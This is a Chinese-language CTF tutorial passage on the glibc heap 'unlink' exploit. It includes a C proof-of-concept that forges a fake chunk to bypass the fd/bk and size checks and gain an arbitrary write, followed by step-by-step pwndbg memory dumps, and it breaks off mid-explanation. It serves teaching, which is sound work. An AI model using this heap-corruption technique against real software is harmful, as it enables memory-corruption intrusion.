[原创]ctf pwn中的unlink exploit(堆利用)
unlink简介
unlink的目的是把一个双向链表中的空闲块拿出来，如图（来源ctf-wiki)
[图片:2018-02-28-131218.jpg]
也就是
设置 P->fd->bk = P->bk. 设置 P->bk->fd = P->fd.
unlink时执行的检查
以前的unlink是没有检查的，很容易利用，不过现在多了两项检查，所以在利用时候要绕过这些检查。
| Function | Security Check | Error |
|---|---|---|
| unlink | chunk size是否等于next chunk(内存意义上的)的prev_size | corrupted size vs. prev_size |
| unlink | 检查是否P->fd->bk == P 以及 P->bk->fd == P | corrupted double-linked list |
unlink exploit
准备
通过一个例子来学习一下，这个例子是Heap Exploitation系列的unlink，为了便于理解，我会用gdb详细的调试一下。
首先，编译程序,我使用的系统是ubuntu14.04 64位，将下面的示例代码编译出来，带上-g参数。
sakura@ubuntu:~$ gcc -g unlink.c -o unlink
unlink.c: In function ‘main’:
unlink.c:46:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long long unsigned int’ [-Wformat=]
printf("%x\n", chunk1[3]);
^
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x80);
chunk2 = malloc(0x80);
printf("%p\n", &chunk1);
printf("%p\n", chunk1);
printf("%p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("%p\n", chunk1);
printf("%x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
我使用了一个gdb插件pwndbg(应该是插件吧？)，需要安装的话。
git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh
开始调试
pwndbg> b 20 Breakpoint 1 at 0x400695: file unlink.c, line 20. pwndbg> r
[图片:2018-02-28-173449.png]
pwndbg> n
这样就开始malloc第一个chunk了，返回的地址放在rax里，然后存到栈里。
[图片:2018-02-28-173700.png]
继续看第二个chunk的地址
pwndbg> n
[图片:2018-02-28-173806.png]
接下来的三条命令其实就是输出我们刚刚调试出来的chunk地址的，所以过掉就行了，不过可以检查一下我们找的是不是对的。
pwndbg> b 25 Breakpoint 2 at 0x4006f3: file unlink.c, line 25. pwndbg> c Continuing. 0x7fffffffdd60 0x602010 0x6020a0
然后来详细的说明一下，是怎么unlink exploit的。
假设攻击者已经控制了chunk1的数据，并且可以溢出到chunk2的元数据。
因为我们能够控制chunk1的数据，所以当然可以在chunk1里伪造一个chunk出来。
fake_chunk = (struct chunk_structure *)chunk1;
我们知道，返回给我们的chunk实际上是mem指针,如下图的mem就是chunk1
[图片:2018-02-27-092353.jpg]
通过将chunk1强制转换为struct chunk_structure结构体，就伪造出了一个chunk。
相当于
[图片:2018-02-28-135600.jpg]
然后我们看一下此时的chunk1的内存。
pwndbg> x /10gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000
再看一下fake_chunk,地址为0xffffcf80，指向0x0804b008（mem)
[图片:2018-02-28-174334.png]
pwndbg> p $rbp-0x40 $1 = (void *) 0x7fffffffdd70 pwndbg> x /x 0x7fffffffdd70 0x7fffffffdd70: 0x0000000000602010
通过检查点1
接下来要确保chunk->fd->bk == chunk
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
如果不熟悉指针加减运算的，可以参考这篇文章
&chunk1是指存放chunk1这个被分配出来的heap的地址的栈地址,即0x7fffffffdd60
pwndbg> stack 10 00:0000│ rsp 0x7fffffffdd60 —? 0x602010 ?— 0x0 01:0008│ 0x7fffffffdd68 —? 0x6020a0 ?— 0x0 02:0010│ 0x7fffffffdd70 —? 0x602010 ?— 0x0 03:0018│ 0x7fffffffdd78 —? 0x40084d (__libc_csu_init+77) ?— add rbx, 1 04:0020│ 0x7fffffffdd80 —? 0x7fffffffddb0 ?— 0x0 05:0028│ 0x7fffffffdd88 ?— 0x0 06:0030│ 0x7fffffffdd90 —? 0x400800 (__libc_csu_init) ?— push r15 07:0038│ 0x7fffffffdd98 ?— 0xb7dbaa1d9dced400 08:0040│ 0x7fffffffdda0 —? 0x7fffffffde90 ?— 0x1 09:0048│ 0x7fffffffdda8 ?— 0x0
此时的chunk1
pwndbg> x /10gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x00007fffffffdd48 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000
接下来要确保chunk->bk->fd == chunk
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
此时的chunk1
pwndbg> x /10gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x0000000000000000<=fake_chunk(mem) 0x0000000000000000 0x602020: 0x00007fffffffdd48<=fake_chunk->fd 0x00007fffffffdd50<=fake_chunk->bk 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000
我相信到这个时候你已经凌乱了,因为我一开始看到这里的时候也挺凌乱的（因为我指针学的不好emmm..)
让我们再理一下。
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